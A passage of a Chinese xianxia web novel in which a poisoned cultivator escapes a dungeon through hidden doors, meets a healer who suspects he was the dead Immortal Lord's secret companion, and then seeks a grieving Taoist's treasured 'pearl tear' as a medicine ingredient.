话音未落,他们都听见了,地砖上咔嚓一声,低下头,发现那地砖缓缓挪动,紧接着,一个宽可入人的通道就出现了。
明月童子大为震惊,随后对雪松说:“我就说你肯定知道吧!如果你不知道,却还能这么精准踩中开关,那也是你的运气!
也许你从前知道,只是你忘了,所以你只能靠潜意识!你不用再向我解释你和仙尊的关系!我相信你们绝对不是普通的关系!不然怎么连这些东西都清楚?”
说完,他一把拉住雪松,一头钻进了通道里,一边走一边说:“其他事情先不论,我们试试能不能走通,希望这里不要堵住!”
雪松跟在明月童子身后走了进去,一阵急促的脚步声之后,明月童子停了下来,又往后退了一步,雪松差点被他踩到。
雪松往后退了两步,从他身边往前一看,看见前方不远处是一面,被泥土涂抹得十分均匀的墙壁,黑漆漆的,乍一看像一个无光的黑洞,几乎可以吞噬一切,又仿佛怪兽的血盆大口,恨不得把人都吃了。
脚步声再次响了起来,这一次是从他们身后,在通道里响起来的,明月童子倒吸一口凉气,连忙把雪松推到自己前面,让他面对那堵墙,催促他说:“快想办法!不管有没有办法,随便干点什么,我相信你一定能解决的!”
雪松听他这么说,也只好往前走去,伸出手去,摸了摸那堵墙,摸到了墙上凹凸不平的印记,突然感受到,墙上有一部分,是松软的,可以被按下去,他把手往下一印。
那墙轰隆隆响了起来,紧接着,挪开了,又是一扇门,只不过,这是伪装成墙的一扇门,雪松和明月童子对视一眼,倒吸一口凉气。
身后的脚步声越来越近,越来越重,越来越多了,听起来很是恐怖,好像立刻就要把他们都抓住了,他们毫不犹豫向着面前的路冲了进去。
脚步声被他们甩在了身后,他们逐渐停下了奔跑,喘着气放慢了速度,但没有完全停下来,而是用一种稍微不那么急的速度往前走。
走着走着,前面忽然亮了,又是一扇门,不过这扇门并没有之前两扇门那么严丝合缝,那么隐藏,那么不易察觉。
这扇门是一扇薄薄的木头门,像一张牛皮卡纸,往那里一糊,甚至隐隐约约能透风似的,有种诡异的轻盈感。
明月童子和雪松对视了一眼,雪松走上前去,伸出手把那门轻轻推开了,那门没有上锁,一推就开,缓缓往外,外面更亮一些。
雪松挡了一下眼,随后放下手,往外一看,外面是一片绿油油的,山清水秀的草地,他一边往外走,一边惊叹:“真是个漂亮的地方。”
明月童子跟在他身后往外走去,忽然觉得身上有什么东西在动,把那东西掏出来一看,是有一丝裂纹的玉佩正在颤抖。
明月童子看着玉佩愣了一下,那玉佩就一下子腾空而起,在半空中转了一圈,停顿了一下,好像突然找到了方向,下一秒,向着那个方向冲了过去。
明月童子喊道:“等等!”他本来是想喊回来的,但考虑到这个玉佩可能是去找人,那就没必要回来,只要他跟上去就好。
因此他喊完就跟了上去,还向雪松招了招手,雪松也跟上了,玉佩在前面飞了一段,随后缓缓停在半空,一点一点往下落。
明月童子连忙上前去伸出手把玉佩接了,之后抬起头来左右一看,发现不远处有一间小木屋,木屋的空地上,放着一张摇椅,一个白头发老人正在那里眯着眼睛晃来晃去,左边是一张桌子,桌子上是茶壶茶杯,右边是一把扇子,站在半空中一下一下扇着,对着老人送风。
老人伸手端起茶杯喝了一口,又把杯子放回去,躺回椅子上,双手放在腹部,一副十分安详惬意的样子,眼看着就要睡着了。
“这是?”雪松隐约猜到这人的身份,但又不确定,转头向明月童子问。
明月童子握紧了玉佩,一把拉住雪松激动道:“这就是我师父!你的毒有救了!可以去问他了!走!”
他说着,一手拿着玉佩,一手拉着雪松,往前走去,向那人喊道:“师父!”
那人眯着眼睛问:“什么事儿?怎么找到这儿来了?我从前可没告诉你,我会到这儿来呀?”
“是玉佩把我带来的!”明月童子伸出手,向对方展示了一下自己手里那块有裂缝的玉佩,随后又兴高采烈向身边指了指,对人介绍起雪松说:“这位是专门到深山谷来找您的,宗门的修士雪松,是您之前的徒弟,回春堂的弟子带来的,他中了毒,您的弟子束手无策,所以特意带来,请您帮忙!”
雪松点了点头,打招呼说:“您好,打扰了。”
老人眯了眯眼睛看他,忽然直起身来,喃喃道:“太像了……不是仙尊……难道是……竟然是真的?!”
雪松直觉不妙:“你说什么?!”
老人下意识把旁边的扇子拿在手里,站起身来回答道:“没什么,只是想到了多年前的一桩旧事而已。”
很多年前,他和老友坐而论道,不知怎么谈论起了仙尊,他说仙尊为人可敬可佩,只是有一点,太过疏远,不好亲近,容易落人口舌,老友说,这就是你有所不知了,仙尊看起来那个样子,实际上说不定是另外一个样子。
他起了好奇心就问,究竟怎么回事,老友告诉他,自己曾经见过仙尊一面,和仙尊讨论过地牢设计的问题,仙尊听了之后,顺手递给他一张图,他展开一看,竟然是一张地牢设计图。
他觉得自己应该是大惊失色的,但实在好奇,就强装镇定,试图面不改色,向仙尊问,那图实在很好,只是有一点他不明白,这图究竟是从哪儿来的?
仙尊告诉他,是机缘巧合得来的,如果他需要可以直接拿去,他就好奇问,仙尊怎么会保留这种图?
仙尊说,想着或许有用,就留下了,今天果然有用,也不枉从前留着。但他可不相信,只是觉得有用,仙尊就会留下。
毕竟,众所周知,当时的传言都说,仙尊的宝库珠光闪耀,仙气萦绕,紫气东来,摄人心魄。
由此可见,大多数人都一致认为,不够好的东西,不会出现在仙尊面前,更不可能被仙尊留下,何况是长时间保存下来,随身携带,需要的时候顺手就拿得出来,居然不需要找,也知道放在哪里。
这根本不是随手拿出来的,分明就是早有此意,只是一直没有找到机会,今天撞上了,也就下定决心,做了这事。
可是为什么要做这事呢?只是为了助人为乐吗?仙尊确实是会助人为乐的人,只是,这理由还是太小了一点,不太像是仙尊可能会把这种东西随身携带的最重要的理由。
要知道这是地牢的设计图,不是什么鲜花美景,宝石瑞兽,祥云彩雾,福瓜鲜果,又有寓意,又有彩头,又瞧着好看。
地牢的设计图,只有一个作用,那就是用来设计地牢,那么,仙尊是在怎样的机缘巧合下,才得到了这样一张设计地牢的图?
且不论仙尊是从谁的手里拿来的,这样一张复杂精密而机关巧妙的设计图,仙尊又是出于什么样的感情才保留下来,甚至保留至今?
难道说,仙尊真有一个藏在暗中的情人?保留地牢的设计图,是想设计地牢,设置地牢的目的,是为了困住自己身边的情人,免去金丝雀飞走的困扰?
毕竟一个众所周知的独身的人,要是哪一天突然冒出一个伴侣,任谁知道都会大吃一惊,要是一个不好,身败名裂,也是轻而易举的事。
仙尊若没有情人也就罢了,若真有什么,还能瞒得这样好,悄无声息的,好像什么都没有发生过一样,哪一天暴露出来,在名誉上不受损失是不可能的。
说不定还会变成被人攻讦的借口,哪怕或许并不是什么大事,但想攻击他的人是不会在乎这些的。
不管是出于爱护自身,还是保护情人的目的,仙尊想要隐瞒自己有伴侣这件事,不是不可能,也不是不能理解。
仙尊本身与大环境格格不入,以及其他人的不约而同的相似的想法,正是仙尊有伴侣这种传言甚嚣尘上的原因来源的一部分。
老友思来想去,把手里的那张地牢设计图,展开来,给老人看了,连同自己的想法也一并说了,老人听后若有所思点了点头,向老友问,地牢设计图能不能借自己用一用,他也想建一个地牢,以防万一,老友同意了,只是嘱咐他事情最好还是不要告诉太多人,免得影响到仙尊,他当然也一口答应下来。
他对仙尊没有意见,也没有仇,现在还要用仙尊的地牢设计图,没必要找仙尊的麻烦,更没必要把事情到处乱说,不然惹祸上身,糟糕的还是他自己。
毕竟,不管是仙尊还是仙尊的敌人,他都不觉得自己一个医术稍微好一些的医修,能有多大的抵抗能力。
地牢是按照仙尊给的设计图建的,别人问起来的时候,他也就说,是照着仙尊的府邸建的,反正图是仙尊给的,这话也不算错,至于别人怎么想,那就不关他的事了。
老人想到这里,不由得又喝了一口茶压压惊,睁开眯着的眼睛,仔细把面前的雪松打量了一番,再次发出了喃喃的感慨:“难道当年的事竟然是真的?!”
也许就是这样!如果不是真的,怎么会突然冒出来这么一个和仙尊如此相似的人?一个人不会平白无故和另外一个人相似,尤其是,与他相似的那个人,已经死了以后。
这个人之所以能找到这里,肯定知道有那么一张图吧?想必也对地牢设计图了解一二?所以能避开开关,能找到通道,能一路来到这里,还能如此,波澜不惊?
他就是当初,仙尊拿着地牢设计图,想要关起来,甚至已经关起来的那个人吗?
看起来如此年轻,与仙尊如此相似,真是令人感慨,难怪仙尊要藏起来,这要是光明正大,不知有多少人惊讶,更不知多少人要找麻烦,还不如不提,倒可以省些事。
他之所以知道有那么一条离开的通道,究竟是因为仙尊,看他整日郁郁寡欢,所以于心不忍,给他指了这条明路,还是他自己摸索,灵光一闪,发现了这条路?
又或者,仙尊把离开的机会交给他,他想走就走,想留就留,而他选择在仙尊活着的时候留在仙尊的身边,在仙尊死后,从那条路出来,让所有人不得不重新想起仙尊还在的时候?
老人越想越觉得事情复杂,神色不由得也复杂起来,又喝了一口茶压压惊,感觉果然是老了,一旦察觉到自己正在触及什么从前不为人知的事,还和仙尊有关,心脏就控制不住乱跳,几乎要犯病,幸好没有心脏病,不然现在就该躺下去了,倒霉一点也许已经死了。
明月童子见此情形眨了眨眼睛,几乎是立刻就知道老人可能在想什么,毕竟他们是师徒,相处日久,又知道一些都知道的消息,立刻往前两步,伸手把老人扶住,免得他摔倒,提醒他问:“您要不要先看看这位客人身上的毒能不能解?他长途跋涉来到这里,也算千里迢迢,风尘仆仆,您给看看吧?”
老人回过神来点了点头,坐在了自己刚才的椅子上,看着雪松对他招了招手,目光中忍不住带了一点惊叹和慈祥,惊叹是因为雪松在他眼里的仙尊道侣的身份,慈祥是因为自认为也算个长辈,多少要有点长辈的样子:“你过来,我给你看看。”
雪松点了点头,往前走去,靠近了老人,老人将他检查了一番,神色好一阵若有所思,随后忽然想起什么似的挑了挑眉:“你这种情况,我从未见过,应该是魔族新研发出来的毒素吧?”
雪松点了点头,明月童子在旁边把手一拍:“您真是慧眼如炬,一下子就看出来了!可有什么办法没有?”
老人看了他一眼说:“办法不是没有,只是,这毒,毕竟太烈太新了,我不确定是不是真有效果,只能告诉你们,可以这么做,愿意试就试,不愿意试,我也没有别的办法。”
“那是什么办法呢?”雪松问。
老人看向雪松,眯了眯眼睛,眼神中流露出一丝怜悯回答:“幽冥河畔,有一个青青道人,他有一滴珍珠泪,你要是能把那东西取来,作为药引,我可以给你做一丸解药,或许有用。”
雪松不知那一丝怜悯从何而来,但听见有办法解决问题,点了点头,立刻道:“既然如此,等我离开这里,我就去找他。”
明月童子立刻把外面的事情告诉了老人,老人皱着眉头起身道:“真是山中无老虎,猴子称霸王!我一时不在家,竟叫他们得了逞!他们还真以为我是软柿子捏的不成?这次不给他们点颜色瞧瞧,他们真以为我好欺负了!跟我走!我现在就去处理他们!”
明月童子立刻兴奋点了点头,对雪松招手,让他跟上,雪松就跟在老人身后,回到了地牢门外。
一群妖怪正聚集在这里,守门的守门,讨论的讨论,清点人数的清点人数,十分热闹,老人把门推开。
他们都愣了一下,老人也不跟他们废话,抬起手来一挥,只见瞬息间,漫天遍野都是灰蒙蒙的粉末,半空中不知什么时候起了雾,妖怪们的眼前都模糊下去,眼皮开始打架,来不及说什么,一个两个扑通扑通倒了下去,像一堆集体中了药的老鼠。
老人就那样一路往前走,雪松在门口见到了一直等待他回来的其他人,他们靠近了雪松,在明月童子的讲述下,明白了事情的经过,点了点头,也跟在了老人的身后。
老人一路往前走,很快就见到了正在吃喝玩乐的犀牛大王,犀牛大王坐在他平日坐的椅子上,踩着他的凳子,压着他的桌子,喝着他的好酒,像牛嚼牡丹一样吃着他的茶叶,还一边吃一边皱眉,苦着脸挑剔说不好吃,老人看一眼都气笑了。
更别提,屋子的摆设都被清空了,中间空出来的地方,被安排上了歌舞,袒胸露怀的男女妖怪们只蒙了一层白纱。
虽然幻化成了人形,但还保留着兽类的特征,一边扭来扭去,一边发出高低不一的雀跃的叫声,勉强唱着黏黏糊糊的,不在调子上的曲子,嘻嘻哈哈大笑着,推来推去,在地上翻滚,完全还是野兽的状态。
老人把手一挥,一堆药粉飞了出去,只有犀牛大王还有抵抗能力,猛然间从椅子上跳起来,就要和老人搏斗。
老人不以为意,也并不打算真和他打起来,毕竟,没有以己之短攻敌之长的,老人只是又挥了挥手。
一堆绿油油的虫子飞了出去,嗡嗡的声音中,犀牛大王被叮了满头的包,痛得在地上打滚,嗷嗷乱叫着昏迷了,看起来分外凄惨。
明月童子低声对雪松道:“那是我师父养的碧绿虫,带有剧痛的麻醉毒素,专门培育出来的,也是最近的新品种,你要是喜欢,我那儿也有两只,可以送你一只,拿回去玩玩也挺好的,你要是想养,我就送你两只,你有不会的可以问我,改天咱们再见面?”
他说着转过头来,用充满期待的目光望着雪松,雪松摆了摆手:“养虫子的事情以后再说吧,我要是解不开毒,过两天也就死了,恐怕养不了虫子。”
明月童子有些可惜,叹了一口气:“这倒也是,不过你一个人去吗?还是回春堂的人也和你一块去?其实我挺有空的,我可以和你一起去?”
“不用了,”雪松想了想,摇了摇头,人越多越乱,谁知道他们又知道一些什么关于仙尊的事情,“深山谷应该还有事需要你吧?”
明月童子嘟囔道:“都怪犀牛大王!”
老人挥了挥手,一堆嗡嗡嗡飞着的黄色的虫子,把地上的妖怪们挨个咬了一口,聚在一起抬起来,丢进地牢里锁起去了。
老人递给雪松一个瓶子:“这是续命丹,吃下去之后可以延缓三日,虽然不一定能让你说服成功,但时间上会稍微宽裕一些,拿去吧。”
“我可以现在吃吗?”雪松看了一眼问。
老人点了点头,雪松吃下了那瓶子里的丹药,感觉精神一振,向老人道了谢,提出现在就要离开,老人知道他时间紧迫,也不挽留,只是嘱咐说:“路上小心。”
雪松点了点头,转身就要走,回春堂的人问:“你一个人可以吗?我跟你一起吧?”
“不用了,”雪松摆了摆手,再次拒绝,“人多可能起反效果。”
回春只好遗憾放弃:“那好,有事你随时联系我,我都可以过去。”
雪松点了点头,道了谢,走了。
第75章
雪松到了幽冥河畔, 往周围张望了一圈,正想向人打听青青道人的消息,却忽然发现河边不远处有一间小木屋, 屋子旁边有一个小板凳, 凳子上坐着一个人。
那个人正在河边,弯着腰, 伸着手, 拿着一个不知是碗还是杯子的绿油油的东西,在幽冥河里, 挖来挖去,水声哗啦啦响, 水里的幽魂争先恐后伸出手来, 想要把岸上的人拉下去, 但是都没有成功。
雪松见此情形, 不由得顿了顿,有些好奇, 不知道在做什么, 往前走了两步,想仔细看看,突然被人拉住了,转头一看,是一个路过的陌生人。
陌生人一边把他往旁边拉,一边十分热情问:“你是外地来的吧?不认识那个人吧?可别走上去了!他不喜欢被人打扰的!”
雪松将信将疑, 点了点头,向陌生人问:“那你认识那个人?他叫什么?为什么要坐在那儿?究竟是在干什么?被打扰了会有很严重的情况吗?”
“也不能说认识吧,”陌生人松开他,摸了摸下巴, 将他打量一番,又看了一眼幽冥河畔的那个人,脸上露出一种似笑非笑的表情,摇了摇头,唏嘘道,“只能说在这附近的人,都知道他,好像是叫青青道人的,至于为什么要坐在那——”
陌生人靠近雪松低声道:“他很早以前就在那儿了,据说是因为,他曾经有一个感情非常好的道侣,我们约定的同生共死,但是,他的道侣食言了,魂飞魄散了,连转世也没机会,他不肯接受,就坐在这里,日日夜夜盼着道侣的魂魄能够出现,好和他一起重新轮回,如果他们还有轮回的机会……”
雪松眨了眨眼睛,试探着问:“假如魂飞魄散的人重新回来,你觉得他们会没有轮回的机会吗?他做了什么不该做的?”
陌生人摇了摇头:“不不不,我不是那个意思,我的意思是说,魂飞魄散的人就是魂飞魄散了,永远也不会回来了,别说在这儿找不到,就是在别的地方也找不到,一辈子找不到,几辈子也找不到!
最好尽快放弃,不要做无谓的挣扎,否则就是把自己的时间和生命都浪费在无意义的事情上,最后也只有苦了自己,可怜可惜可叹呢!”
雪松在奇怪的地方松了一口气:“这么看他也没做错什么,只不过是在做自己想做的事情,花的时间有点长,又没有什么效果,看起来有点凄惨罢了,他自己都不在意,又何须别人替他在意呢?”
陌生人听见这样的话愣了一下,仔仔细细打量了他一番,忍不住笑道:“我还头一次听见你这样的话,你想的东西倒和别人不一样!”
雪松回过神来笑了笑,解释道:“人人都不一样,想的东西不一样,说的话也就不一样,这不奇怪。”
他不想对方继续在这个问题上想下去,随手从储物戒指里掏出一颗红果子,这是之前在系统签到得到的奖励,他暂时用不上,也没打算吃。
毕竟,不是很饿,也没那个时间,没有享受的心情,不如物尽其用,转手送给别人,看看能不能得到更多消息,即使没有更多,只当做感谢对方刚才讲的那些,也不算吃亏。
雪松把红果子递给了陌生人:“谢谢您告诉我刚才的那些事。您要是知道什么别的,也可以一并告诉我,我都乐意听,正好我现在有时间,多知道一些也没坏处,这个送给你,区区薄礼,不成敬意,收下吧?”
陌生人伸手接过了那个果子,本来不以为意,但是定睛一看,忽然愣住,随后不由得瞪大眼睛,露出惊愕的神色,两只手翻来覆去,仔仔细细看那只果子,表情就渐渐有点庄重严肃,好像不是拿了一只果子,而是捧着一堆金子似的,大为感叹:“修行果?这居然是修行果?真是好一个修行果!你真大方!随便问问,也给这样的东西?!”
他说着说着,忽然顿住,露出若有所思的神色,想到了很久以前,听说修行果这种东西的消息的时候,仙尊还活着,他不知道什么叫做修行果,就向同行的人打听。
知道的人告诉他,那是一种通体血红形似苹果的植物果实,灵气丰富,口感脆爽,滋味酸甜,吃下去一个,能抵得上辛辛苦苦许久的修行,所以叫修行果,是不可多得的宝物。
那人说的时候还一脸感慨,可惜自己只是知道,却从来没有见过,还说要是能亲手拿着那个果子闻一闻,也算这辈子不白活了。
他当时就好奇问,要在哪里才能见到那样的果子?那人告诉他,最近一次天元城的拍卖会,仙尊拿出了修行果进行拍卖,只要参加就能看见,去了的人都知道。
他就因此问,照这么说,仙尊一定知道哪里有修行果生长,虽然拿出了修行果进行拍卖,但也许自己私下还有?
那人看了他一眼,似笑非笑说,这不是他们能知道的事,但以仙尊的能力和地位,即使不自己亲自去取,随便透露一点想要的消息,也有的是人上赶着替他取了,送到他面前,只希望他收下,所以,无论仙尊有没有都不重要,重要的是,仙尊想有就有,想没有就没有,别人比不了他,更逼迫不了他。
最后,那个人摇着头说,人和人终究不一样,不属于自己的东西,还是不要痴心妄想比较好,免得求而不得,心生妄念,反而万劫不复。
对于陌生人而言,当时的整件事,十分新鲜,也十分有趣,因此他印象深刻,一直记到今天,还记忆犹新,随便一想就想得起来。
其实想不起细节也就算了,横竖他还记得,修行果是好东西,别人愿意送,他只管收下就是了,反正是他占便宜,也不损失什么。
但想得起细节,他忽然就心念一动,忍不住思考,自从当初仙尊在拍卖会上拿出修行果之后,他就有意留意这种东西的消息,可是许多年过去,也不曾再听闻一次,好像那是极其珍惜的东西,多少年也只得那么一个,能听说一次都算运气好,要拿在手里是一辈子不可能了。
偏偏他即将放弃的时候,上天把这果子送到他手里,是不是在暗示他什么?是不是在告诉他,面前这个人和仙尊有关?不然,怎么仙尊有的东西,这个人也有?还如此相似!
连气息感觉都像,不会有错的!他来到这里,一定是为了仙尊!否则,怎么还带着仙尊曾经携带过的修行果呢?
说不定,这个果子,本来就是当初仙尊在拍卖会之后带给他的!他一直舍不得吃,也就保存至今,还完好无损,像是刚摘下来的一样新鲜!
那他们两个是什么关系?道侣?一定是了!否则,仙尊怎么会把修行果这么稀有特别又有用的东西送给他?
否则他怎么到幽冥河畔来,问青清道人的消息?青青道人可是众所周知的失去魂飞魄散道侣的未亡人!
他是想来请人帮忙或者寻求经验吧?也不知该说,他找对了人,还是该叹息,他居然也有追寻魂飞魄散道侣的念头!
也难怪他能理解青青道人!他们根本就是同类人!都是失去了道侣,而且道侣还魂飞魄散的心碎可怜人,怎么会不能理解呢?!
这么说,他到这儿来,也许还有一两分想要抱团取暖寻求慰藉的意思了?也对!同是天涯沦落人,相逢何必曾相识?就凭他们相似的经历和相似的想法,只要见一面,恐怕就会一见如故吧?
陌生人心情复杂,拿着手里的修行果,如同盘核桃一样转着,一时恍惚,差点没拿稳,险些让果子从手里飞出去,吓了一大跳,心脏砰砰响,手都有些抖,重新把果子死死抓在手里,好像即将从悬崖上摔下去的猴子,抓着悬崖上垂下来的藤蔓一样。
“您在想什么?”雪松听了陌生人的感慨之后,就发现对方沉默了,也不知想什么,脸上的表情变来变去,等了一会儿,对面还没缓过来,他忍不住出声询问。
陌生人眨了眨眼睛,用一种十分复杂的表情注视着雪松,拿着手里的修行果,如同拿着一块烫手山芋一样,微微颤抖说:“你——”
他似乎想问什么,但是雪松一时猜不出来,就那么望着他,他被雪松看着,越发说不出话来,只能挪开目光,把话吞了回去。
雪松的头上冒出一个问号。
陌生人犹豫着重新开口:“你来这里,是因为想要复活仙尊,所以找早就做这种事的青青道人,寻求帮助吗?”
雪松愣了一下,大惊失色:“你怎么会这么想?根本没有那种事!我从来没有想过!”
话到这里,他突然想起来之前受魔修威胁,在笼子里中了毒,答应了魔修要复活仙尊,一时说不下去,哽住了。
陌生人本来就不是很相信他说的话,但还勉强听着,却忽然听见他顿了一下,抬眼仔细打量他的表情,发现他似乎有破绽,便乘胜追击一般,立刻笑道:“你骗我?这就不必了吧?咱们萍水相逢,不想说可以不说,我也不一定要追问,也不是一定要知道,你用假话来糊弄我,那可就不太地道了!”
雪松欲言又止,还是仍然坚持着,试图解释说:“我既没有说假话,也没有糊弄你,我说的都是真的,我不是为了复活仙尊来的!”
陌生人笑了一声,摇了摇头,一点也不相信了,在他看来,证明雪松来的目的的线索有那么多,每一样都十足有分量,不是轻易可以抹去或者模糊掉的,就算是雪松本人想要否认这些东西,也必须要拿出更有用的证据来才行,如果拿不出来,那就一定是假的。
其实他也可以理解,雪松不想把真话告诉他,无论是出于自保,还是出于保护仙尊的名声的目的,都是有可能的,何况他们又不熟,没有必要说太多,交浅言深,反而容易受害。
再说了,该猜到的他已经猜到了,也不是一定要从当事人口中问出来,他知道大多数时候这样做,对于当事人而言,是一种非常严重的心理伤害,尤其是事件之中有一方已经死了,再也不会回来的时候,所以他也并没生气。
他之所以了解这种事,还是因为他曾经帮忙,去询问葬礼上的死者的亲属,是否有什么未了之事,是否有什么东西遗漏,是否有什么隐瞒。
那家的亲属平时是个很冷静的人,葬礼上也绷着一张脸,眼眶红红的,却没有眼泪,好像不会哭似的,结果问着问着,就泪如雨下,一点也扛不住了,看起来是从未有过的凄惨可怜样子,好像假如再有人多问一句都是一种感情上的凌迟。
他最后不得不住口,转身离开,免得继续待在葬礼上,可能会使死者亲属哭晕过去,又或者被怒目而视的旁观者强行打着赶出去,如果是前者,他可能会摊上事,如果是后者,他可能会倒霉,他有前车之鉴。
所以,他今天遇到雪松,情绪上是十分平和的,没有任何要逼迫的意思,也没有什么要多问的倾向,哪怕他确实很想知道,好奇心满得快要溢出来了,但他咬了咬牙,还是强行克制住了自己。
想想吧,当初在葬礼上追问死者亲属,都会被人怒目而视,现在在大街上,路过的人可比葬礼上更多,真要是闹出事来,他都不知道要怎么收场才好,他可不愿给自己找麻烦!
更何况,他完全有理由相信,仙尊的追随者和崇拜者,远远比他之前参加过的葬礼上的死者的亲属,要多得多,实力恐怕也更强。
不相干的人或许不知道雪松和仙尊的关系,但只要稍稍了解,恐怕亲近仙尊的人还是会略知一二的,到时候,一旦他们积蓄了怒气值,来为人出气或者报仇,他可不觉得自己扛得住,还是提前避免的好!
这不是他胆小怕事!只是未雨绸缪而已!这是有必要的!一点问题也没有!他可不会觉得有什么不对。
“姑且是吧,”陌生人不想继续谈论复活仙尊这个话题,这件事情太大了,牵扯到的人也太重了,为了自己的安全着想,他向雪松问,“那你来,是为了做什么?和青青道人有关?我看你之前好像有在注意他?”
雪松垂着眼睛沉默了一阵,不知应该怎样说,要把中毒的事情说出来,未免有些说得太清楚了,没有那个必要,可如果不说,误会是必然的,解释不清楚,很有可能……
陌生人见他沉默,正要说,为难就算了,他忽然开口道:“我听说,青青道人似乎有一滴珍珠泪,我对那东西很感兴趣,希望他能割舍给我,不知道你了不了解这个东西?”
陌生人眨巴眨巴眼睛,意识到他在说什么,愣了一下,倒吸一口凉气,露出震惊的表情:“珍珠泪?!那可是他的宝贝!”
岂止是宝贝!那东西大有来历!青青道人之所以只保存了一滴珍珠泪,是因为只有一滴,或者说,只得一滴。
而这一滴泪,不是从别人那里来,正是从他死去的魂飞魄散的,道侣眼中得来的,可以说是独一无二,而且,再无后续。
毕竟,他的道侣已经死了,魂飞魄散的死法,转世重生绝不可能,从前又没有别的眼泪存下来,以后要想再得,也是不行的。
不管从感情上还是数量上,他看中这东西,也是再正常不过的事了。但凡稍微知道一些的,都不会觉得奇怪。
他把那眼泪看得像宝贝一样重要,知道的,不过是一滴泪,不知道的,还以为那是他眼珠子做的,稍微不注意,若是出了什么差错,就和丢了他的命差不多。
于他而言,只要和那滴泪有关的事情,都是要紧要紧再要紧的,绝不可能忽视掉,也绝不能容许忽视掉。
“你居然想要他的宝贝?”陌生人重新打量起雪松来,心中暗自感慨。不愧是仙尊的道侣,行事都与旁人不同!
想要复活仙尊,就干脆拿走别人手里心里最重要的东西,以此来进行胁迫,方便达成最终目的吗?
若雪松真从青青道人手中拿走了那滴珍珠泪,还不是横刀夺爱的手法,那绝对是,极其令人震惊的,近乎不可思议的事!
完全想不到要怎么做才好,倒不如说,那根本是不可能的事吧?谁会想做这样的事?谁会计划这样的事?
要是从来没有想过,又没有计划,只是往这里一杵,就觉得事情可能成功,那这事情和失败了也差不多,没有什么可指望的。
“那宝贝,”雪松隐约能感觉到那东西似乎十分重要,但还不是特别清楚,因此迟疑着,已经有些慎重,向对方问,“究竟多么宝贝?”
陌生人笑了一声,带着一种看热闹的兴奋说:“那可太宝贝了!你要是敢拿走,他肯定跟你拼命!这够不够宝贝?”
他顿了顿,生怕雪松不能理解似的,详细解释道:“你知道他死了道侣吧?你知道他道侣魂飞魄散了吧?
你知道他留在这,就是为了有朝一日能够想办法复活他的道侣吧?你知道他现在也还想着要和他的道侣双宿双飞吧?”
雪松听到这里已经明白了,同时,陌生人放慢了语速,保证他绝不会听错:“那滴泪就是他到临死前留下来的,可以说,是对他而言,最珍贵,最痛苦,最不可忽视的遗物,他自己保留都来不及,绝不会给别人!”
陌生人说完观察了一下雪松的表情,见他似乎还没有放弃,又忍不住语重心长道:“如果你来,是为了那东西,死心吧,青青道人不会把珍珠泪给任何人的!”
这话,对雪松说出来,和你现在可以打道回府差不多,雪松听了之后心情复杂,他来之前就知道,要向别人拿东西不是那么简单的事,但是来了之后才知道,岂止是不简单!
这根本就是不可能吧?他就算长出三头六臂,也不可能从别人手里拿到那么重要的东西!不管是买还是送,他都得不到。
“时间不早了,”陌生人抬头看了一眼天色,觉得自己说得够多了,继续待下去,恐怕有事情要发生,容易牵连到自己,连忙找机会开溜,“我该回家了,先走了,再见!”
话音未落,他一点头,往旁边一走,立刻不见了。
雪松眨了眨眼睛,倒也不太在意,该知道的都知道了,现在是想办法的时候了,虽然也没什么办法可想,但总不能试都不试就转头回去,那不是白来了吗?再说他也没多少时间。
赌一赌运气吧,万一这一次和之前差不多,运气好,对面直接送给他呢?虽然那种可能根本就是白日梦,不过梦想总是要有的。
想来想去,没有什么好的办法,雪松干脆直接走了过去,向青青道人问:“我想要你的珍珠泪,如果得不到我就会死,你能给我吗?”
青青道人眼皮都不抬一下,就像根本没听见一样,雪松绕着他走来走去,他终于觉得烦了,皱着眉头,把水向雪松泼了过来。
雪松精神紧绷,一下子闪了过去,那瓢水落在地上,哗啦一声响,地面湿漉漉的,裂痕迅速吞噬了水,转眼间又什么痕迹都没有了。
雪松站在原地,像一块木板一样,看着青青道人,想劝一两句,虽然可能没什么用,不过也没想好措辞。
青青道人见他这副样子,冷笑一声,倒是总算愿意勉强搭理他,带着十足的嘲讽,先开口了:“你死不死和我有什么关系?
像你这种,张口就想要别人东西的人,最好去死!我才不在乎!我只会高兴!因为有些人就是该死!”
雪松点了点头,转身就要走,青青道人见他如此果断,一点多余的时间也不停留,愣了一下,不由得皱了皱眉,喊住了他:“你等等!”
雪松停住脚步,转过身来,重新看向他,他皱着眉头把人重新打量了一番,忽然问:“你脖子上的项链是谁送的?”
雪松愣了一下,他脖子上现在只有一条项链,这条项链是系统给的,因此,回答道:“是我自己买的。”
长青之前看见,他就是这么回答的。虽然他没出钱,但这么说也不算有错,毕竟,从系统那里抽奖买的,也算是自己买的。
青青道人若有所思看着他,一时没有说话。自己买的?自己给自己买相思红豆项链?听起来不太像啊。
要知道,这可是情侣必备。单身人士一般不会碰的。因为他们既不想被误会,也不想掺和到情侣的队伍中去。除非是真喜欢东西。
可是,青青道人看雪松的样子,不像是多么喜欢那条项链,虽然也并不讨厌,但能带在身上的东西,多半也应该是不讨厌的,这种喜爱程度,不应该支持雪松去单独买这条项链。这件事一定另有隐情!姑且这么一听,再问问别的看看。
“那你手上的镯子呢?”青青道人把目光落在他的手腕上,又问。
“一只是我在宗门大比上赢来的,另外一只,”雪松顿了顿,不知该说不该说,但想了想,对方既然专门挑这些东西问了,那大约是想知道的,他还是直说吧,“我的一个朋友留给我的。”这是最开始的说辞。
青青道人从他的停顿里察觉出一些微妙的东西,直觉立刻判断,这个朋友恐怕不是真的朋友,至少不是正儿八经的普通朋友。
毕竟,谁家朋友送的礼物不能直说呢?一个镯子而已。除非,不是朋友,或者,这个朋友送这个礼物的心思,就不是出于朋友情谊,才会使人难以启齿或者犹豫。
更何况,朋友送礼物,大约也是挑选过的吧?特意挑选一个,已经有一只的镯子,相似得近乎原本就是一对,这心思根本板上钉钉,不能算是朋友了!
恐怕,正因为心思不在朋友的范围之内,才会选择送这样的礼物,一边借镯子暗戳戳表白,一边暗暗想像镯子一样和喜欢的人凑成一对,希望对方收下之后,也会喜欢自己,心情卑微又酸涩,喜悦又敏感,犹豫又迟疑,简直像是头一天发现,事情还能这样麻烦,又这样使人欣喜,欲罢不能,无可奈何。
青青道人从雪松的东西上,确认雪松多半也有一个情意相投的道侣,否则,他笃定,对面不会送雪松这些东西,雪松也不会收下。
